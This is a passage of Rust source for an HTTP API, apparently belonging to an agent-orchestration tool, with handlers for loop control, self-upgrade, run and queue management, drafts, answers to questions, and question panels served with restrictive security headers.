1854 let reading = daemon::read_status(&ui.home);
1855 Ok(Json(ui.loop_view(reading)))
1856 })
1857 .await
1858}
1859
1860#[derive(Debug, Deserialize)]
1866#[serde(deny_unknown_fields)]
1867struct LoopCommand {
1868 running: bool,
1869 #[serde(default)]
1879 park: bool,
1880}
1881
1882async fn loop_post(
1890 State(ui): State<Arc<Ui>>,
1891 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1892) -> ApiResult<Json<LoopView>> {
1893 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1896 blocking(move || {
1897 let reading = daemon::read_status(&ui.home);
1898 let foreign = Foreign::of(reading.as_ref());
1899 if body.running {
1900 ui.start_loop(foreign)?;
1901 } else {
1902 ui.stop_loop(foreign, body.park)?;
1903 }
1904 Ok(Json(ui.loop_view(reading)))
1905 })
1906 .await
1907}
1908
1909#[derive(Debug, Serialize)]
1911struct UpgradeView {
1912 from: String,
1914 to: Option<String>,
1916 parked: Option<String>,
1918 detail: String,
1920}
1921
1922async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1946 let reading = daemon::read_status(&ui.home);
1947 if let Some(other) = Foreign::of(reading.as_ref()) {
1948 return Err(ApiError::conflict(format!(
1949 "the loop belongs to {}, so replacing this binary would leave \
1950 that process running an old one against the same queue. Upgrade \
1951 where it was started.",
1952 other.who()
1953 )));
1954 }
1955
1956 if crate::updater::disabled_by_env() {
1962 return Ok((
1963 StatusCode::OK,
1964 Json(UpgradeView {
1965 from: env!("CARGO_PKG_VERSION").to_owned(),
1966 to: None,
1967 parked: None,
1968 detail: format!(
1969 "Automatic updates are disabled by {}. Nothing was parked \
1970 and nothing restarted.",
1971 crate::updater::NO_AUTOUPDATE_ENV
1972 ),
1973 }),
1974 ));
1975 }
1976
1977 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1982 let from = env!("CARGO_PKG_VERSION").to_owned();
1983 let latest = match crate::updater::Checker::new(&cfg.update) {
1984 Some(checker) => checker
1985 .newer_release()
1986 .await
1987 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1988 None => None,
1989 };
1990 let Some(latest) = latest else {
1991 return Ok((
1992 StatusCode::OK,
1993 Json(UpgradeView {
1994 from,
1995 to: None,
1996 parked: None,
1997 detail: "Already on the newest release. Nothing was parked \
1998 and nothing restarted."
1999 .to_owned(),
2000 }),
2001 ));
2002 };
2003
2004 let parked = ui.park_for_upgrade()?;
2007 let detail = match &parked {
2008 Some(run) => format!(
2013 "Run {} is parking at its next step, which can take as long as \
2014 the step it is on - up to an hour for an implement wave. The \
2015 deck replaces itself once it parks, comes back, and the loop \
2016 carries that run on from where it stopped. Nothing is lost if \
2017 you close this.",
2018 crate::run::short_of(run)
2019 ),
2020 None => "The deck replaces itself and comes back. Nothing was in \
2021 flight to park."
2022 .to_owned(),
2023 };
2024
2025 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2029 progress.parked_run = parked.clone();
2030 let _ = updater::write_progress(&ui.home, &progress);
2031
2032 let home = ui.home.clone();
2033 tokio::spawn(async move {
2034 if let Err(e) = upgrade_and_restart(home.clone()).await {
2035 tracing::error!("the upgrade did not complete: {e:#}");
2036 if let Some(mut progress) = updater::read_progress(&home) {
2037 progress.fail(format!("{e:#}"));
2038 let _ = updater::write_progress(&home, &progress);
2039 }
2040 }
2041 });
2042
2043 Ok((
2044 StatusCode::ACCEPTED,
2045 Json(UpgradeView {
2046 from,
2047 to: Some(latest.tag_name),
2048 parked,
2049 detail,
2050 }),
2051 ))
2052}
2053
2054async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2059 crate::updater::run_self_update(true, false, true).await?;
2062 tracing::info!("binary replaced - asking the server to hand over");
2063 if let Some(mut progress) = updater::read_progress(&home) {
2064 progress.advance(updater::Stage::Replaced);
2065 let _ = updater::write_progress(&home, &progress);
2066 }
2067 HANDOVER.notify_one();
2068 Ok(())
2069}
2070
2071#[derive(Debug, Serialize)]
2077struct RunSummary {
2078 id: String,
2079 short: String,
2080 status: String,
2081 done: bool,
2082 instruction: String,
2083 title: String,
2084 repo: String,
2085 repo_name: String,
2086 created_at: String,
2087 updated_at: String,
2088 candidates: usize,
2089 viable: usize,
2090 judges: usize,
2091 winner: Option<char>,
2092 reviews: usize,
2093 quota_losses: usize,
2094 event: Option<String>,
2095 superseded_by: Option<String>,
2100 waiting: bool,
2107 pr: Option<crate::run::PrRecord>,
2109}
2110
2111impl RunSummary {
2112 fn of(state: &RunState, waiting: bool) -> Self {
2113 Self {
2114 id: state.id.clone(),
2115 short: state.short().to_owned(),
2116 status: status_word(state.status),
2117 done: state.status.done(),
2118 instruction: state.instruction.clone(),
2119 title: title_from(&state.instruction, TITLE_MAX),
2120 repo: state.repo.display().to_string(),
2121 repo_name: state
2122 .repo
2123 .file_name()
2124 .map(|n| n.to_string_lossy().into_owned())
2125 .unwrap_or_default(),
2126 created_at: state.created_at.to_string(),
2127 updated_at: state.updated_at.to_string(),
2128 candidates: state.candidates.len(),
2129 viable: state.viable().len(),
2130 judges: state.config.graph.judges,
2131 winner: state.winner().map(|c| c.label),
2132 reviews: state.reviews.len(),
2133 quota_losses: state.quota.len(),
2134 event: state.events.last().map(|e| e.message.clone()),
2135 waiting,
2136 superseded_by: None,
2139 pr: state.pr.clone(),
2140 }
2141 }
2142}
2143
2144fn status_word(status: RunStatus) -> String {
2147 status.as_str().to_owned()
2151}
2152
2153#[derive(Debug, Deserialize)]
2155struct ListQuery {
2156 #[serde(default)]
2157 limit: Option<usize>,
2158}
2159
2160async fn runs_list(
2161 State(ui): State<Arc<Ui>>,
2162 Query(q): Query<ListQuery>,
2163) -> ApiResult<Json<Vec<RunSummary>>> {
2164 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2165 blocking(move || {
2166 let superseded = superseded_runs(&ui.queue);
2167 let summaries = run_ids(&ui.runs)
2168 .into_iter()
2169 .filter_map(|id| read_run(&ui.runs, &id).ok())
2174 .take(limit)
2175 .map(|state| {
2176 let waiting = !ui.questions.open_for(&state.id).is_empty();
2177 let by = superseded.get(&state.id).cloned();
2178 let mut row = RunSummary::of(&state, waiting);
2179 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2180 row
2181 })
2182 .collect();
2183 Ok(Json(summaries))
2184 })
2185 .await
2186}
2187
2188fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2201 let mut by = HashMap::new();
2202 for task in queue.list() {
2203 for pair in task.runs.windows(2) {
2204 if let [earlier, later] = pair {
2205 by.insert(earlier.clone(), later.clone());
2206 }
2207 }
2208 }
2209 by
2210}
2211
2212#[derive(Debug, Serialize)]
2219struct RunDetailView {
2220 #[serde(flatten)]
2221 state: RunState,
2222 instruction_md: Vec<md::Node>,
2223 live: bool,
2233}
2234
2235impl RunDetailView {
2236 fn of(state: RunState, live: bool) -> Self {
2237 Self {
2238 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2239 live,
2240 state,
2241 }
2242 }
2243}
2244
2245async fn run_detail(
2246 State(ui): State<Arc<Ui>>,
2247 Path(id): Path<String>,
2248) -> ApiResult<Json<RunDetailView>> {
2249 blocking(move || {
2250 let id = resolve_run(&ui.runs, &id)?;
2251 let state = read_run(&ui.runs, &id)?;
2252 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2253 Ok(Json(RunDetailView::of(state, live)))
2254 })
2255 .await
2256}
2257
2258async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2267 let (id, unreadable) = {
2268 let ui = Arc::clone(&ui);
2269 blocking(move || {
2270 let id = resolve_run(&ui.runs, &id)?;
2271 match read_run(&ui.runs, &id) {
2272 Ok(state) => {
2273 let in_flight =
2274 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2275 state
2276 .ensure_can_delete(in_flight)
2277 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2278 let dir = ui.runs.join(&id);
2279 std::fs::remove_dir_all(&dir)
2280 .with_context(|| format!("remove run directory {}", dir.display()))?;
2281 Ok((id, false))
2282 }
2283 Err(_) => {
2284 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2288 return Err(ApiError::conflict(format!(
2289 "run {id} is being worked on by a live daemon right now"
2290 )));
2291 }
2292 Ok((id, true))
2293 }
2294 }
2295 })
2296 .await?
2297 };
2298 if unreadable {
2299 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2300 .await
2301 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2302 }
2303 let ui = Arc::clone(&ui);
2304 let done = id.clone();
2305 blocking(move || {
2306 ui.questions.abandon_for_run(
2309 &done,
2310 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2311 )?;
2312 Ok(())
2313 })
2314 .await?;
2315 Ok(StatusCode::NO_CONTENT)
2316}
2317
2318async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2342 let (id, state) = {
2343 let ui = Arc::clone(&ui);
2344 blocking(move || {
2345 let id = resolve_run(&ui.runs, &id)?;
2346 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2347 return Err(ApiError::conflict(format!(
2348 "run {id} is being worked on by a live daemon right now"
2349 )));
2350 }
2351 let state = read_run(&ui.runs, &id).ok();
2352 Ok((id, state))
2353 })
2354 .await?
2355 };
2356 let removed = match state {
2357 Some(mut state) => crate::graph::fold_run(&mut state, true)
2358 .await
2359 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2360 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2361 .await
2362 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2363 };
2364 Ok(Json(FoldView {
2365 run: id,
2366 removed_count: removed.len(),
2367 removed,
2368 }))
2369}
2370
2371#[derive(Debug, Serialize)]
2373struct FoldView {
2374 run: String,
2375 removed: Vec<String>,
2377 removed_count: usize,
2378}
2379
2380async fn run_resume(
2400 State(ui): State<Arc<Ui>>,
2401 Path(id): Path<String>,
2402) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2403 let (id, state) = {
2404 let ui = Arc::clone(&ui);
2405 blocking(move || {
2406 let id = resolve_run(&ui.runs, &id)?;
2407 let state = read_run(&ui.runs, &id)?;
2408 Ok((id, state))
2409 })
2410 .await?
2411 };
2412 if !state.status.resumable() {
2413 return Err(ApiError::conflict(format!(
2414 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2415 state.short(),
2416 status_word(state.status)
2417 )));
2418 }
2419 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2424 .into_iter()
2425 .next()
2426 {
2427 return Err(ApiError::conflict(format!(
2428 "the loop is running run {} right now; stop it first, or wait for \
2429 it to finish, before resuming a run by hand.",
2430 crate::run::short_of(&work.run)
2431 )));
2432 }
2433 let _resume = ui.begin_resume(&id)?;
2434
2435 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2438 let run = id.clone();
2439 tokio::spawn(async move {
2440 let _resume = _resume;
2441 match crate::graph::Runner::resume(&run) {
2442 Ok(mut runner) => {
2443 if let Err(e) = runner.execute().await {
2444 tracing::warn!("resume of run {run} stopped: {e:#}");
2445 }
2446 }
2447 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2450 }
2451 });
2452 Ok((StatusCode::ACCEPTED, Json(queued)))
2453}
2454
2455async fn run_report(
2456 State(ui): State<Arc<Ui>>,
2457 Path(id): Path<String>,
2458) -> ApiResult<impl IntoResponse> {
2459 let text = blocking(move || {
2460 let id = resolve_run(&ui.runs, &id)?;
2461 let state = read_run(&ui.runs, &id)?;
2465 let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2466 Ok(format!(
2467 "{}{}",
2468 report::run(&state),
2469 report::active_seats(&state, live)
2470 ))
2471 })
2472 .await?;
2473 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2474}
2475
2476#[derive(Debug, Serialize)]
2482struct TaskView {
2483 #[serde(flatten)]
2484 task: Task,
2485 source_label: String,
2486 status_str: &'static str,
2487 instruction_md: Vec<md::Node>,
2491}
2492
2493impl From<Task> for TaskView {
2494 fn from(task: Task) -> Self {
2495 Self {
2496 source_label: task.source.label(),
2497 status_str: task.status.as_str(),
2498 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2499 task,
2500 }
2501 }
2502}
2503
2504#[derive(Debug, Default, Deserialize)]
2507#[serde(default)]
2508struct ReposQuery {
2509 refresh: u8,
2510}
2511
2512async fn repos_list(
2520 State(ui): State<Arc<Ui>>,
2521 Query(q): Query<ReposQuery>,
2522) -> ApiResult<Json<Vec<repos::Repo>>> {
2523 let refresh = q.refresh != 0;
2524 blocking(move || {
2525 let (cfg, _) = Config::discover(&ui.repo, None)?;
2526 Ok(Json(ui.repos_cache.list(
2527 &cfg.repos.roots,
2528 Duration::from_secs(cfg.repos.scan_ttl),
2529 refresh,
2530 )))
2531 })
2532 .await
2533}
2534
2535#[derive(Debug, Serialize)]
2538struct DraftSummary {
2539 id: String,
2540 title: String,
2541 seats: usize,
2542 proposals: usize,
2543}
2544
2545async fn drafts_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<DraftSummary>>> {
2555 blocking(move || {
2556 let dir = ui.home.join("drafts");
2557 let mut out = Vec::new();
2558 let Ok(entries) = std::fs::read_dir(&dir) else {
2559 return Ok(Json(out));
2560 };
2561 for entry in entries.flatten() {
2562 let name = entry.file_name();
2563 let Some(id) = name.to_str().and_then(|n| n.strip_suffix(".advisors.json")) else {
2564 continue;
2565 };
2566 let Ok(raw) = std::fs::read_to_string(entry.path()) else {
2567 continue;
2568 };
2569 let Ok(advice) = serde_json::from_str::<advise::Advice>(&raw) else {
2570 continue;
2571 };
2572 let title = std::fs::read_to_string(dir.join(format!("{id}.md")))
2573 .ok()
2574 .map(|body| title_from(&body, TITLE_MAX))
2575 .unwrap_or_else(|| id.to_owned());
2576 out.push(DraftSummary {
2577 id: id.to_owned(),
2578 title,
2579 seats: advice.records.len(),
2580 proposals: advice.proposals().len(),
2581 });
2582 }
2583 out.sort_by(|a, b| b.id.cmp(&a.id));
2586 Ok(Json(out))
2587 })
2588 .await
2589}
2590
2591#[derive(Debug, Serialize)]
2604struct DraftAdvisorsView {
2605 #[serde(flatten)]
2606 advice: advise::Advice,
2607 draft: Option<String>,
2620 draft_md: Option<Vec<md::Node>>,
2624}
2625
2626async fn draft_advisors(
2637 State(ui): State<Arc<Ui>>,
2638 Path(id): Path<String>,
2639) -> ApiResult<Json<DraftAdvisorsView>> {
2640 blocking(move || {
2641 let dir = ui.home.join("drafts");
2642 let id = resolve_draft(&dir, &id)?;
2643 let path = dir.join(format!("{id}.advisors.json"));
2644 let raw = std::fs::read_to_string(&path)
2645 .map_err(|_| ApiError::not_found(format!("no advisor record for draft `{id}`")))?;
2646 let advice: advise::Advice = serde_json::from_str(&raw)
2647 .map_err(|e| ApiError::internal(format!("parse {}: {e:#}", path.display())))?;
2648 let draft = advice
2652 .synthesized
2653 .then(|| std::fs::read_to_string(dir.join(format!("{id}.md"))).ok())
2654 .flatten();
2655 let draft_md = draft
2656 .as_deref()
2657 .map(|body| md::to_nodes(body, &md::ImageBase::None));
2658 Ok(Json(DraftAdvisorsView {
2659 advice,
2660 draft,
2661 draft_md,
2662 }))
2663 })
2664 .await
2665}
2666
2667async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2668 blocking(move || {
2669 Ok(Json(
2670 ui.queue.list().into_iter().map(TaskView::from).collect(),
2671 ))
2672 })
2673 .await
2674}
2675
2676#[derive(Debug, Default, Deserialize)]
2679#[serde(default, deny_unknown_fields)]
2680struct HoldBody {
2681 reason: Option<String>,
2682}
2683
2684async fn queue_hold(
2685 State(ui): State<Arc<Ui>>,
2686 Path(id): Path<String>,
2687 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2688) -> ApiResult<Json<TaskView>> {
2689 let body = match body {
2693 Ok(Json(body)) => body,
2694 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2695 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2696 };
2697 let reason = body.reason.filter(|r| !r.trim().is_empty());
2698 mutate(ui, id, move |t| {
2699 t.hold(reason.clone());
2700 Ok(())
2701 })
2702 .await
2703}
2704
2705async fn queue_release(
2706 State(ui): State<Arc<Ui>>,
2707 Path(id): Path<String>,
2708) -> ApiResult<Json<TaskView>> {
2709 mutate(ui, id, |t| {
2710 t.release();
2711 Ok(())
2712 })
2713 .await
2714}
2715
2716#[derive(Debug, Deserialize)]
2718#[serde(deny_unknown_fields)]
2719struct PriorityBody {
2720 priority: i32,
2721}
2722
2723async fn queue_priority(
2729 State(ui): State<Arc<Ui>>,
2730 Path(id): Path<String>,
2731 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2732) -> ApiResult<Json<TaskView>> {
2733 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2734 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2735}
2736
2737#[derive(Debug, Deserialize)]
2739#[serde(deny_unknown_fields)]
2740struct EditBody {
2741 title: String,
2742 instruction: String,
2743}
2744
2745async fn queue_edit(
2749 State(ui): State<Arc<Ui>>,
2750 Path(id): Path<String>,
2751 body: std::result::Result<Json<EditBody>, JsonRejection>,
2752) -> ApiResult<Json<TaskView>> {
2753 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2754 mutate(ui, id, move |t| {
2755 t.edit(body.title.clone(), body.instruction.clone())
2756 })
2757 .await
2758}
2759
2760async fn queue_done(
2768 State(ui): State<Arc<Ui>>,
2769 Path(id): Path<String>,
2770) -> ApiResult<Json<TaskView>> {
2771 mutate(ui, id, |t| {
2772 t.succeed();
2773 Ok(())
2774 })
2775 .await
2776}
2777
2778async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2786 blocking(move || {
2787 let id = resolve_task(&ui.queue, &id)?;
2788 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2789 ui.queue
2790 .remove(&id, in_flight)
2791 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2792 Ok(StatusCode::NO_CONTENT)
2793 })
2794 .await
2795}
2796
2797async fn mutate(
2806 ui: Arc<Ui>,
2807 id: String,
2808 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2809) -> ApiResult<Json<TaskView>> {
2810 blocking(move || {
2811 let id = resolve_task(&ui.queue, &id)?;
2812 let _claim = ui.queue.claim(&id).map_err(|e| {
2817 ApiError::conflict(format!(
2818 "{e:#} - a daemon is running this task, so it cannot be \
2819 changed from here yet"
2820 ))
2821 })?;
2822 let mut task = ui.queue.get(&id)?;
2823 change(&mut task).map_err(ApiError::bad_request_from)?;
2824 ui.queue.put(&mut task)?;
2825 Ok(Json(TaskView::from(task)))
2826 })
2827 .await
2828}
2829
2830async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2838 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2839 tokio::spawn(async move {
2840 let mut ticker = tokio::time::interval(POLL);
2841 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2842 loop {
2843 ticker.tick().await;
2846 let state = Arc::clone(&ui);
2847 let revisions = tokio::task::spawn_blocking(move || {
2848 (
2849 state.queue.revision(),
2850 runs_revision(&state.runs),
2851 state.questions.revision(),
2852 state.chats.revision(),
2853 state.talks.revision(),
2854 state.lock_loop().rev,
2858 )
2859 })
2860 .await;
2861 let Ok(revisions) = revisions else { break };
2862 if last == Some(revisions) {
2863 continue;
2864 }
2865 last = Some(revisions);
2866 let payload = serde_json::json!({
2867 "queue_rev": revisions.0,
2868 "runs_rev": revisions.1,
2869 "questions_rev": revisions.2,
2870 "chats_rev": revisions.3,
2871 "talks_rev": revisions.4,
2872 "loop_rev": revisions.5,
2873 });
2874 let Ok(event) = Event::default().event("change").json_data(payload) else {
2876 break;
2877 };
2878 if tx.send(event).await.is_err() {
2879 break;
2880 }
2881 }
2882 });
2883 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2884 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2885}
2886
2887fn runs_revision(runs: &FsPath) -> u64 {
2894 use std::hash::{Hash as _, Hasher as _};
2895
2896 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2897 .into_iter()
2898 .flatten()
2899 .flatten()
2900 .filter_map(|e| {
2901 let path = e.path().join("run.json");
2902 let mtime = path
2903 .metadata()
2904 .ok()?
2905 .modified()
2906 .ok()?
2907 .duration_since(std::time::UNIX_EPOCH)
2908 .ok()?
2909 .as_millis() as u64;
2910 let id = e.file_name().to_string_lossy().into_owned();
2911 Some((id, mtime))
2912 })
2913 .collect();
2914
2915 if entries.is_empty() {
2916 return 0;
2917 }
2918
2919 entries.sort_unstable();
2920 let mut hasher = std::hash::DefaultHasher::new();
2921 for (id, mtime) in &entries {
2922 id.hash(&mut hasher);
2923 mtime.hash(&mut hasher);
2924 }
2925 let h = hasher.finish();
2926 if h == 0 { 1 } else { h }
2927}
2928
2929fn run_ids(runs: &FsPath) -> Vec<String> {
2935 let mut ids: Vec<String> = std::fs::read_dir(runs)
2936 .into_iter()
2937 .flatten()
2938 .flatten()
2939 .filter(|e| e.path().join("run.json").is_file())
2940 .map(|e| e.file_name().to_string_lossy().into_owned())
2941 .collect();
2942 ids.sort_unstable_by(|a, b| b.cmp(a));
2944 ids
2945}
2946
2947fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2949 let path = runs.join(id).join("run.json");
2950 let body =
2951 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2952 let state: RunState =
2953 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2954 if state.schema != run::SCHEMA {
2955 anyhow::bail!(
2956 "run {} was written by a different magi (schema {}, this build speaks {})",
2957 state.id,
2958 state.schema,
2959 run::SCHEMA
2960 );
2961 }
2962 Ok(state)
2963}
2964
2965#[must_use]
2973pub fn runs_unreadable(runs: &FsPath) -> usize {
2974 run_ids(runs)
2975 .into_iter()
2976 .filter(|id| read_run(runs, id).is_err())
2977 .count()
2978}
2979
2980fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2982 if runs.join(id).join("run.json").is_file() {
2983 return Ok(id.to_owned());
2984 }
2985 pick(run_ids(runs), id, "run")
2986}
2987
2988fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2990 if queue.path_of(id).is_file() {
2991 return Ok(id.to_owned());
2992 }
2993 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2994}
2995
2996#[derive(Debug, Serialize)]
3007struct QuestionView {
3008 #[serde(flatten)]
3009 question: Question,
3010 detail_md: Vec<md::Node>,
3011 waiting_on_agent: bool,
3021}
3022
3023impl From<Question> for QuestionView {
3024 fn from(question: Question) -> Self {
3025 let base = md::ImageBase::QuestionPanel {
3026 id: question.id.clone(),
3027 };
3028 Self {
3029 detail_md: md::to_nodes(&question.detail, &base),
3030 waiting_on_agent: question.waiting_on_agent(),
3031 question,
3032 }
3033 }
3034}
3035
3036async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
3042 blocking(move || {
3043 Ok(Json(
3044 ui.questions
3045 .list()
3046 .into_iter()
3047 .map(QuestionView::from)
3048 .collect(),
3049 ))
3050 })
3051 .await
3052}
3053
3054#[derive(Debug, Default, Deserialize)]
3060#[serde(default, deny_unknown_fields)]
3061struct NewAnswer {
3062 choice: Option<String>,
3063 text: Option<String>,
3064}
3065
3066async fn question_answer(
3067 State(ui): State<Arc<Ui>>,
3068 Path(id): Path<String>,
3069 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3070) -> ApiResult<Json<QuestionView>> {
3071 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3072 let answer = match (body.choice, body.text) {
3073 (Some(c), None) => Answer::Choice(c),
3074 (None, Some(t)) => Answer::Text(t),
3075 (Some(_), Some(_)) => {
3076 return Err(ApiError::bad_request(
3077 "send either `choice` or `text`, not both",
3078 ));
3079 }
3080 (None, None) => {
3081 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3082 }
3083 };
3084
3085 blocking(move || {
3086 let id = resolve_question(&ui.questions, &id)?;
3087 let mut q = ui
3088 .questions
3089 .get(&id)
3090 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3091 if !q.status.open() {
3092 return Err(ApiError::conflict(format!(
3096 "question {} is already {}",
3097 q.short(),
3098 q.status.as_str()
3099 )));
3100 }
3101 q.answer(answer).map_err(ApiError::bad_request_from)?;
3105 ui.questions.put(&mut q)?;
3106 Ok(Json(QuestionView::from(q)))
3107 })
3108 .await
3109}
3110
3111#[derive(Debug, Deserialize)]
3113#[serde(deny_unknown_fields)]
3114struct NewSay {
3115 body: String,
3116}
3117
3118async fn question_say(
3127 State(ui): State<Arc<Ui>>,
3128 Path(id): Path<String>,
3129 body: std::result::Result<Json<NewSay>, JsonRejection>,
3130) -> ApiResult<Json<QuestionView>> {
3131 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3132 blocking(move || {
3133 let id = resolve_question(&ui.questions, &id)?;
3134 let mut q = ui
3135 .questions
3136 .get(&id)
3137 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3138 if !q.status.open() {
3139 return Err(ApiError::conflict(format!(
3143 "question {} is already {}",
3144 q.short(),
3145 q.status.as_str()
3146 )));
3147 }
3148 q.say(body.body).map_err(ApiError::bad_request_from)?;
3151 ui.questions.put(&mut q)?;
3152 Ok(Json(QuestionView::from(q)))
3153 })
3154 .await
3155}
3156
3157fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3159 if store.path_of(id).is_file() {
3160 return Ok(id.to_owned());
3161 }
3162 pick(
3163 store.list().into_iter().map(|q| q.id).collect(),
3164 id,
3165 "question",
3166 )
3167}
3168
3169async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3184 blocking(move || {
3185 let id = resolve_question(&ui.questions, &id)?;
3186 let Some(html) = ui.questions.panel_html(&id) else {
3187 return Err(ApiError::not_found(format!("question {id} has no panel")));
3188 };
3189 Ok(panel_response(
3190 "text/html; charset=utf-8",
3191 false,
3192 html.into_bytes(),
3193 ))
3194 })
3195 .await
3196}
3197
3198async fn question_asset(
3226 State(ui): State<Arc<Ui>>,
3227 Path((id, name)): Path<(String, String)>,
3228) -> ApiResult<Response> {
3229 if !crate::ask::valid_asset_name(&name) {
3232 return Err(ApiError::bad_request(format!(
3233 "`{name}` is not a usable asset name"
3234 )));
3235 }
3236 blocking(move || {
3237 let id = resolve_question(&ui.questions, &id)?;
3238 let asset = ui
3239 .questions
3240 .panel_asset(&id, &name)
3241 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3242 let Some(bytes) = asset else {
3243 return Err(ApiError::not_found(format!(
3244 "question {id} has no asset `{name}`"
3245 )));
3246 };
3247 Ok(panel_response(
3248 asset_content_type(&name),
3249 is_svg(&name),
3250 bytes,
3251 ))
3252 })
3253 .await
3254}
3255
3256fn asset_content_type(name: &str) -> &'static str {
3269 match extension(name).as_deref() {
3270 Some("png") => "image/png",
3271 Some("jpg" | "jpeg") => "image/jpeg",
3272 Some("gif") => "image/gif",
3273 Some("webp") => "image/webp",
3274 Some("svg") => "image/svg+xml",
3275 Some("css") => "text/css; charset=utf-8",
3276 Some("txt") => "text/plain; charset=utf-8",
3277 _ => "application/octet-stream",
3278 }
3279}
3280
3281fn is_svg(name: &str) -> bool {
3284 extension(name).as_deref() == Some("svg")
3285}
3286
3287fn extension(name: &str) -> Option<String> {
3289 name.rsplit_once('.')
3290 .map(|(_, ext)| ext.to_ascii_lowercase())
3291}
3292
3293fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3310 let mut res = (
3311 [
3312 (header::CONTENT_TYPE, content_type),
3313 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3314 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3315 (header::REFERRER_POLICY, "no-referrer"),
3316 ],
3317 body,
3318 )
3319 .into_response();
3320 if download {
3321 res.headers_mut().insert(
3322 header::CONTENT_DISPOSITION,
3323 HeaderValue::from_static("attachment"),
3324 );
3325 }
3326 res
3327}
3328
3329#[derive(Debug, Serialize)]
3338struct ChatView {
3339 #[serde(flatten)]
3340 chat: Chat,
3341 turn_bodies_md: Vec<Vec<md::Node>>,
3342 draft_md: Option<Vec<md::Node>>,
3343 thinking: bool,
3355}
3356
3357impl ChatView {
3358 fn new(chat: Chat, thinking: bool) -> Self {
3359 let turn_bodies_md = chat
3360 .turns
3361 .iter()
3362 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3363 .collect();
3364 let draft_md = chat
3365 .draft
3366 .as_deref()
3367 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
3368 Self {
3369 turn_bodies_md,
3370 draft_md,
3371 thinking,
3372 chat,
3373 }
3374 }
3375}
3376
3377async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
3385 blocking(move || {
3386 Ok(Json(
3387 ui.chats
3388 .list()
3389 .into_iter()
3390 .map(|chat| {
